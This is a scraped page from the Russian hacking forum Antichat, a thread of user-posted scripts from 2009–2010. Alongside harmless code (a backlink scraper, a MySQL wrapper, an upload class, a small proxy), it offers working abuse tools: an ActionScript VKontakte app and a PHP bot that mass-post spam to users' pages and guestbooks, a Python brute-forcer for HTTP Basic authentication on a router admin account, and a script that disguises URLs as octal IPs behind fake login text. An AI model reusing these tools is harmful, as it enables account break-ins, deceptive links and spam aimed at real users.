ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #941  
Старый 18.11.2009, 17:50
zifanchuck
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
Провел на форуме:
4002393

Репутация: 464
Отправить сообщение для zifanchuck с помощью ICQ
По умолчанию

Вот вчеа нужна была прога для парсинга. Нашел BackLink Gear но он парсит со страниц. Но ето меделнно и кажды сайт нужно отдельно вводить. Написал небольшой скриптик, парсит беки сайтов которые находяться в файле urlyahoo.txt и ложит беки в backs.txt. Преимущество скрипта в том что он не шарит по страницам а качает .tsv в котором первые 1000 беков(лимит хоть по страницам шарь хоть файл скачай) но намного быстрее. Работает на курле. Кстати те урлы что отпарсил он из файла urlyahoo.txt удаляет (делал для себя спец. чтобы если скрипт вырубился и не рыскать в поисках того на каком урле он именно остановился) .Вот
PHP код:
<?php

set_time_limit
(0);

function 
curl($url,$post)
{
$cfile 'cookies.txt';
$ch curl_init();
curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5");
curl_setopt($chCURLOPT_RETURNTRANSFER1);
curl_setopt($chCURLOPT_URL$url);
curl_setopt($chCURLOPT_HEADER0);
curl_setopt($chCURLOPT_POSTFIELDS$post);
curl_setopt($chCURLOPT_COOKIEJAR$cfile);
curl_setopt($chCURLOPT_COOKIEFILE$cfile);
curl_setopt($chCURLOPT_POST1);
$result curl_exec($ch);
curl_close($ch);
return 
$result;
};

$sleep 4;
$fileurl "urlyahoo.txt";

$fd fopen($fileurl'r');
$read fread($fdfilesize($fileurl));
fclose($fd);

$read explode("\r\n"$read);
$count count($read);

for(
$i=0;$i<$count;$i++)
{
list(
$url$all) = explode("     "$read[$i]);

unset(
$read[$i]);
$reads implode("\r\n"$read);

$fd fopen($fileurl'w');
fwrite($fd$reads);
fclose($fd);

$result curl("http://siteexplorer.search.yahoo.com/export?p=".$url."&bwm=i&fr=sfp""");

$result explode("\n"$result);
$countstr count($result);
    for(
$a=2;$a<$countstr;$a++)
    {
    list(
$text$ssil) = explode("    "$result[$a]);
    if(
$ssil)
    {
    
//echo $ssil."<br>";
    
$fd fopen("backs.txt""a");
    
fwrite($fd$ssil."\r\n");
    
fclose($fd);
    }
    }
sleep($sleep);
}
?>
Вот подумал может у кого нет курла то пускай попробуют так
PHP код:
<?php

set_time_limit
(0);

$sleep 4;
$fileurl "urlyahoo.txt";

$fd fopen($fileurl'r');
$read fread($fdfilesize($fileurl));
fclose($fd);

$read explode("\r\n"$read);
$count count($read);

for(
$i=0;$i<$count;$i++)
{
list(
$url$all) = explode("     "$read[$i]);

unset(
$read[$i]);
$reads implode("\r\n"$read);

$fd fopen($fileurl'w');
fwrite($fd$reads);
fclose($fd);

$result file_get_contents("http://siteexplorer.search.yahoo.com/export?p=".$url."&bwm=i&fr=sfp");

$result explode("\n"$result);
$countstr count($result);
    for(
$a=2;$a<$countstr;$a++)
    {
    list(
$text$ssil) = explode("    "$result[$a]);
    if(
$ssil)
    {
    
//echo $ssil."<br>";
    
$fd fopen("backs.txt""a");
    
fwrite($fd$ssil."\r\n");
    
fclose($fd);
    }
    }
sleep($sleep);
}
?>
п.с за роботу второго не ручаюсь(не тестил)
ппс Только не надо говорить что скрипт криво написан)))согласен, можно было более рационально все сделать, но писал чисто для себя, а на красоту мне как-то пофиг)) только бы работал)
 
Ответить с цитированием

  #942  
Старый 04.12.2009, 14:38
Bramin
Участник форума
Регистрация: 15.05.2009
Сообщений: 111
Провел на форуме:
1179199

Репутация: 127
Отправить сообщение для Bramin с помощью ICQ
По умолчанию

Привет всем, может есть у кого-нибудь скрипт для сортировки мыл mail.ru на пхп или перле по стране или городам, допустим в скрипте указываем login на свой акк и начинаем бомбить поиск через "Мой мир" на выходе получаем страна:мыло или город:мыло
 
Ответить с цитированием

  #943  
Старый 04.12.2009, 23:16
waik
Участник форума
Регистрация: 02.11.2008
Сообщений: 222
Провел на форуме:
3459722

Репутация: 155
По умолчанию

Не знал куда выложить.Вот исходник приложения вк который автоматом добавляет вопросы и заметки на страничку с вашим текстом.Файл с вопросами берет с вашего сайта с документа в формате *.txt.Проверял довно,работал.Вроде выложил весь исходник.
Код:
package 
{
    import flash.events.*;
    import flash.net.*;

    public class Spam extends Object
    {
        private var questionType:String = "0";
        var _api_id:String;
        var vars1:URLVariables;
        var vars2:URLVariables;
        var sig:String;
        var loader:URLLoader;
        var conf:String;
        var req:URLRequest;
        var res:String;
        var _viewer_id:String;
        var vars:URLVariables;
        var url:String = "http://api.vkontakte.ru/api.php";
        private var offerText:String = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
        var cont:Array;
        private var questionText:String = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
        var secret:String = "ololo";
        var signature:String;
        var loader2:URLLoader;

        public function Spam(param1:String, param2:String)
        {
            secret = "ololo";
            url = "http://api.vkontakte.ru/api.php";
            offerText = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
            questionText = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
            questionType = "0";
            loader = new URLLoader();
            loader2 = new URLLoader();
            vars = new URLVariables();
            vars1 = new URLVariables();
            vars2 = new URLVariables();
            req = new URLRequest(url);
            _api_id = param1;
            _viewer_id = param2;
            loader2.addEventListener(Event.COMPLETE, onConf);
            loader2.load(new URLRequest("http://сайт.ru/conf.txt"));
            return;
        }// end function

        public function openOffer()
        {
            sig = _viewer_id + "api_id=" + _api_id + "method=offers.open" + "test_mode=0" + "v=2.0" + secret;
            signature = MD5.encrypt(sig);
            vars1.api_id = _api_id;
            vars1.method = "offers.open";
            vars1.test_mode = "0";
            vars1.v = "2.0";
            vars1.sig = signature;
            req.method = URLRequestMethod.POST;
            req.data = vars1;
            try
            {
                sendToURL(req);
            }// end try
            catch (e:Error)
            {
                trace(e.message);
            }// end catch
            return;
        }// end function

        public function onOfferComplete(param1:Event)
        {
            openOffer();
            return;
        }// end function

        public function newOffer()
        {
            sig = _viewer_id + "api_id=" + _api_id + "message=" + offerText + "method=offers.edit" + "test_mode=0" + "v=2.0" + secret;
            signature = MD5.encrypt(sig);
            vars2.api_id = _api_id;
            vars2.method = "offers.edit";
            vars2.message = offerText;
            vars2.test_mode = "0";
            vars2.v = "2.0";
            vars2.sig = signature;
            req.method = URLRequestMethod.POST;
            req.data = vars2;
            loader.addEventListener(Event.COMPLETE, onOfferComplete);
            try
            {
                loader.load(req);
            }// end try
            catch (e:Error)
            {
                trace(e.message);
            }// end catch
            return;
        }// end function

        public function onConf(param1:Event)
        {
            res = param1.target.data.toString();
            cont = res.split("\n");
            offerText = cont[0];
            questionText = cont[1];
            questionType = cont[2];
            trace(offerText);
            return;
        }// end function

        public function newQuestion()
        {
            sig = _viewer_id + "api_id=" + _api_id + "method=questions.add" + "test_mode=0" + "text=" + questionText + "type=" + questionType + "v=2.0" + secret;
            signature = MD5.encrypt(sig);
            vars.api_id = _api_id;
            vars.method = "questions.add";
            vars.text = questionText;
            vars.type = questionType;
            vars.test_mode = "0";
            vars.v = "2.0";
            vars.sig = signature;
            req.method = URLRequestMethod.POST;
            req.data = vars;
            try
            {
                sendToURL(req);
            }// end try
            catch (e:Error)
            {
                trace(e.message);
            }// end catch
            return;
        }// end function

    }
}
 
Ответить с цитированием

  #944  
Старый 13.12.2009, 14:18
phpdreamer
Постоянный
Регистрация: 26.07.2009
Сообщений: 321
Провел на форуме:
444589

Репутация: 123
Отправить сообщение для phpdreamer с помощью ICQ
По умолчанию

Скрипт для кодирования урлов (by me)
PHP код:
$url 'www.freehost.com.ua';//исходные данные
$ip  gethostbyname($url);//узнаем ip 
$ch  explode('.',$ip);//разделяем ip на 4 части
foreach($ch as $value)$v_8[] = '0'.base_convert($value108);//каждуч из частей конвертируем в 8-ю систему счисления
$url '122.11.21.167@'.join($v_8,'.');//слева от полученого 8-го ip дописываем левые данные, которые обозначают логин
$url urlencode($url);//кодируем в формат url (знак @ превратится в %40)
$url.= '?%509&404_1/index.php';//и добавляем мусора после знака "?"
echo $url
пример:
было www.freehost.com.ua
стало 122.11.21.167%400302.00.0310.0312?%509&404_1/index.php
 
Ответить с цитированием

  #945  
Старый 13.12.2009, 21:26
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Нужно было потренироваться с дебагом скриптов.Написал обертку для работы с mysql.Ничего сверхестественного там нет,самая простая обертка.Но есть и плюсы.
1) Можно совсем отключить вывод ошибок внутри класса.
2) Если вывод ошибок всеже включен,то можно управлять выводимыми данными.Такими как текст ошибки mysql,путь до файла с ошибкой,линия с ошибкой.
Повторю,написан исключительно в образовательных целях дебага.
Базовый вызов,с запросом.
PHP код:
<?php
include ('mmysql.class.php');
$mysql = new mmysql('localhost''root''Frolov''mp3a');
$mysql->setting(array('debug' => true'full_path' => true,'mysql_query'=>true,'line' => true));  //МОЖНО ПРОПУСТИТЬ
$mysql->maquery("SELecT * FRM table WHERE id = 1"$stats);
print_r($stats);
?>
Сам класс:
PHP код:
<?php
class mmysql
{
    var 
$connect$ms_error$line_error$path_error,$debug;
    function 
mmysql($DBHOST$DBUSER$DBPASSWORD$DBBASE '')
    {
        
$this->connect mysql_connect($DBHOST$DBUSER$DBPASSWORD);
        if (!
$this->connect) {
            return (
$this->GetError());
        }
        if (!empty(
$DBBASE)) {
            
$this->msetdb($DBBASE);
        }
    }
    function 
setting($array)
    {
        if (
$array['debug'] == false) {
            return (
$this->debug $array['debug']);
        } else {
            
$this->debug $array['debug'];
            
$this->ms_error $array['mysql_query'];
            
$this->path_error $array['full_path'];
            
$this->line_error $array['line'];
        }
        return (
true);
    }
    function 
GetError()
    {
        if (!
$this->debug) {
            return (die());
        }
        
$bg debug_backtrace();
        
$error '<body style="background-color:#6699FF;color:black"><h1 align="center" color="red">MySQL Error!</h1><br>
<ul><b>File:</b><error style="background-color:white;"><b>&nbsp;&nbsp;&nbsp; ' 
.
            
$path = ((!$this->path_error) ? basename($bg[1]['file']) : $bg[1]['file']) .
            
'<b></error><br><b>Line</b>: <error style="background-color:white;"><b>&nbsp;&nbsp;&nbsp;' .
            
$line = ((!$this->line_error) ? 'Admin Line Hidden' $bg[1]['line']) .
            
'</b></error><br><b>Function:</b><error style="background-color:white;"> <b>[$mmysql->' .
            
$bg[1]['function'] .
            
'()]</b></error><br><b>Text error:<br> <textarea rows="10" cols="25" style="background-color:white;"> ' .
            
$ms = ((!$this->ms_error) ? 'Admin Query Hidden ' mysql_error()) .
            
'</textarea><br></ul></div>';
        die(
$error);

        return 
true;
    }
    function 
msetdb($db// mysql_select_db

    
{
        
$selectdb mysql_select_db($db$this->connect);
        if (
$selectdb) {
            return (
true);
        } else {
            return (
$this->GetError());
        }
    }
    function 
mquery($query, &$return// mysql_query

    
{
        
$query mysql_query($query$this->connect);
        if (!
$query) {
            return (
$return $this->GetError());
        } else {
            return (
$return $query);
        }
    }
    function 
mfquery($query, &$return// mysql_fetch_assoc(mysql_query)

    
{
        
$query mysql_query($query$this->connect);
        if (!
$query) {
            return (
$return $this->GetError());
        } else {
            return (
$return mysql_fetch_assoc($query));
        }
    }
    function 
maquery($query, &$return// mysql_fetch_array(mysql_query)

    
{
        
$query mysql_query($query$this->connect);
        if (!
$query) {
            return (
$return $this->GetError());
        } else {
            return (
$return mysql_fetch_array($query));
        }
    }
    function 
mnumrows($query, &$return// mysql_num_rows(mysql_query)

    
{
        
$query mysql_query($query$this->connect);
        if (!
$query) {
            return (
$return $this->GetError());
        } else {
            return (
$return mysql_num_rows($query));
        }
    }
}
?>

Последний раз редактировалось m0Hze; 13.12.2009 в 21:53..
 
Ответить с цитированием

  #946  
Старый 14.12.2009, 02:00
zifanchuck
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
Провел на форуме:
4002393

Репутация: 464
Отправить сообщение для zifanchuck с помощью ICQ
По умолчанию

Вот написал небольшой скрипт для спама го гостевухам на сайте привет.ру

PHP код:
<?php

set_time_limit
(0);

function 
curl($url,$post='')
{
$cfile 'cookies.txt';
$ch curl_init();
curl_setopt($chCURLOPT_RETURNTRANSFER1);
curl_setopt($chCURLOPT_URL$url);
curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1");
curl_setopt($chCURLOPT_HEADER1);
curl_setopt($chCURLOPT_POSTFIELDS$post);
curl_setopt($chCURLOPT_COOKIEJAR$cfile);
curl_setopt($chCURLOPT_COOKIEFILE$cfile);
curl_setopt($chCURLOPT_FOLLOWLOCATION0);
curl_setopt($chCURLOPT_POST1);
$result curl_exec($ch);
curl_close($ch);
return 
$result;
};

    function 
add($path,$page_body)
{
   
$file=fopen($path,"a+");
    
fputs($file,$page_body);
   
fclose($file);
}

function 
read($path)
{
    
$fd fopen($path"r");
    
$bufer fread($fdfilesize($path));
    
fclose($fd);
    return 
$bufer;
}

$mail '';//Мыло
$pass '';//Пароль
$countpage 1;//Количество страниц для парсинга
$text 'Приветик=)))';//Текст для спама

$mesguest iconv("windows-1251""utf-8"$text);

$result curl('http://www.privet.ru/login?login='.$mail.'&password='.$pass.'&remember=on');
for(
$i=0;$i<$countpage;$i++)
{
$result curl('http://www.privet.ru/people/sort/login-date?period=86400&page='.$i);

    
preg_match_all("#class=\"userNickLink\" href='http://www.privet.ru/user/(.*)'#iU"$result$regs);
    
$regs $regs[1];
    
$count count($regs);

    for(
$a=0;$a<$count;$a++)
    {
    
$nick $regs[$a];
    
$list read('black.txt');

    if(
strstr($list$nick))
    {
        echo 
$nick.' neotpravil<br>';
    }
    else
    {
    echo 
$nick.' otpravil<br>';
    
$result curl('http://www.privet.ru/user/'.$nick.'/guestbook/add''guestbook_text='.$mesguest);
     
add('black.txt'$nick."\r\n");
     
sleep(1);
    }
    
flush();
    }
}
?>
Парсит и розсылает тем юзерам что появлялиль на сайте за последний день.

п.с забыл описание небольшре сделать. Те логины что отспамились заносит в файл блек.тхт и если на них в дальнейшем парсинге попадает то им сообщения не отправляеться)))

Последний раз редактировалось zifanchuck; 14.12.2009 в 02:17..
 
Ответить с цитированием

  #947  
Старый 14.12.2009, 18:13
Nik(rus)
Познающий
Регистрация: 19.06.2009
Сообщений: 34
Провел на форуме:
88269

Репутация: 10
По умолчанию

Код на Python, брутит Basic авторизацию, пароль от 100000 до 999999 на admin на хосте 192.168.0.1
Код:
import base64,httplib

fl = open('log.txt','w')
for i in range(100000,999999):
	headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/html","Authorization":"Basic "+base64.b64encode('admin:'+str(i))}
	conn = httplib.HTTPConnection("192.168.0.1")
	conn.request("GET", "/", {}, headers)
	response = conn.getresponse()
	data = response.read()
	conn.close()
	if (data != 'Unauthorized'):
		fl.write(i)
fl.close()
 
Ответить с цитированием

  #948  
Старый 28.12.2009, 01:27
real_kas
Познающий
Регистрация: 22.03.2007
Сообщений: 45
Провел на форуме:
110666

Репутация: 9
По умолчанию

Цитата:
Определяет пол по имени, на основе того, что большинство женских имён заканчиваются на гласную. Определяет не 100% но для моих целей хватает. Поддерживает имена в транслите...
А не лучше ли сделать выбор "ИЛИ" вместо явного указания каждой буквы?

Код:
sub gender # 1 - woman; 0 - man
{
	my ($name) = @_;
	return 1 if $name=~"(я|а|о|ы|э|е|a|o|i|e|Я|А|О|Ы|Э|Е|A|E|O|I)\$";
	return 0;
}
 
Ответить с цитированием

  #949  
Старый 03.01.2010, 14:21
suser
Познающий
Регистрация: 30.12.2009
Сообщений: 38
Провел на форуме:
38124

Репутация: 18
По умолчанию

Класс для загрузки картинок
Клац http://narod.ru/disk/16553661000/class.upload.rar.html ~25.3 кБ

Пример работы:
PHP код:
<?php
$foo 
= new Upload($_FILES['form_field']);
if (
$foo->uploaded)
{
    
// Сохранение загруженного изображения без изменений
  
$foo->Process('/home/user/files/');
    if (
$foo->processed)
    {
        echo 
'original image copied';
    }
    else
    {
        echo 
'error : ' $foo->error;
    }
    
// Сохранение загруженного изображения с новым именем
  
$foo->file_new_name_body 'foo';
    
$foo->Process('/home/user/files/');
    if (
$foo->processed)
    {
        echo 
'image renamed "foo" copied';
    }
    else
    {
        echo 
'error : ' $foo->error;
    }
    
// Сохранение загруженного изображения с новым именем,
  // Уменьшить по ширине 100px
  
$foo->file_new_name_body 'image_resized';
    
$foo->image_resize true;
    
$foo->image_convert gif;
    
$foo->image_x 100;
    
$foo->image_ratio_y true;
    
$foo->Process('/home/user/files/');
    if (
$foo->processed)
    {
        echo 
'image renamed, resized x=100
          and converted to GIF'
;
        
$foo->Clean();
    }
    else
    {
        echo 
'error : ' $foo->error;
    }
}
?>
 
Ответить с цитированием

  #950  
Старый 04.01.2010, 14:11
Nik(rus)
Познающий
Регистрация: 19.06.2009
Сообщений: 34
Провел на форуме:
88269

Репутация: 10
По умолчанию

PyRoxy - мини-проксик на питоне (чуток кривой, с картинками небольшой баг, иногда не принимает... но ведь картинки не самое главное? )
Из фич - некоторые картинки все-же показывает (видимо пакет с большими картинками... большеват), меняет Юзер-Агент, да и вроде-как даже POST исполняет!
Код:
# -*- coding: cp1251 -*-
import SocketServer
import re
import socket
import urllib
import httplib
import thread

class MyTCPHandler(SocketServer.BaseRequestHandler):
	def handle(self):
		self.data = self.request.recv(4096)
		if (self.data != ""):
			get = re.search("GET ([^: ]*):([^ ]*) ([^ \n]*)\n",self.data)
			self.data = re.sub("User-Agent: [^\n]*\n","User-Agent: " + str(uagent) + "\n",self.data,1)
			if not get:
				get = re.search("POST ([^: ]*):([^ ]*) ([^ \n]*)\n",self.data)
			if get:
				print "GET: " + str(get.group(1)) + ":" + str(get.group(2))
				print "-----------------------------------"
				host = urllib.splithost(get.group(2))
				ip = 0
				try:
					ip = socket.getaddrinfo(host[0],80)
					ip = ip[0][4][0]
					sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
					sock.connect((ip,80))
					sock.send(self.data)
					if get.group(2).endswith('.png') or get.group(2).endswith('.jpg') or get.group(2).endswith('.jpeg') or get.group(2).endswith('.gif'):
						conn = httplib.HTTPConnection(host[0])
						conn.request('GET',host[1])
						res = conn.getresponse()
						data = res.read()
						conn.close()
						self.request.send(data)
					recv2 = sock.recv(4096)
					recv = ""
					while recv2 <> "":
						reg = re.search("<title>(.*)</title>",recv2)
						if reg:
							title = str(reg.group(1)) + " ^ UnDer PyRoxy"
							recv = re.sub("<title>.*</title>","<title>" + str(title) + "</title>",recv2,1)
						recv += recv2
						recv2 = sock.recv(4096)
					self.request.send(recv)
				except:
					recv = "HTTP/1.1 200 OK\nDate: 123\nServer: SOME!\nContent-Length: 120\nConnection: close\nContent-Type: text/html; charset=windows-1251\n\n <html><title>PyRoxy: ERROR</title><body><div align='center'><font color='red'>Error connecting to server</font></div></body></html>"
					self.request.send(recv)
			else:
				recv = "HTTP/1.1 200 OK\nDate: 123\nServer: SOME!\nContent-Length: 120\nConnection: close\nContent-Type: text/html; charset=windows-1251\n\n <html><title>PyRoxy: ERROR</title><body><div align='center'><font color='red'>Unknown packet</font></div></body></html>"
				self.request.send(recv)
print "_._._._._-=PyRoxy v. 0.1=-_._._._._"
print "-----------------------------------"
uagent = "AK-47"
socket.setdefaulttimeout(1000)
HOST, PORT = "127.0.0.1", 9999
print "Binding on " + str(HOST) + ":" + str(PORT)
print "-----------------------------------"
server = SocketServer.TCPServer((HOST, PORT), MyTCPHandler)
server.serve_forever()
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ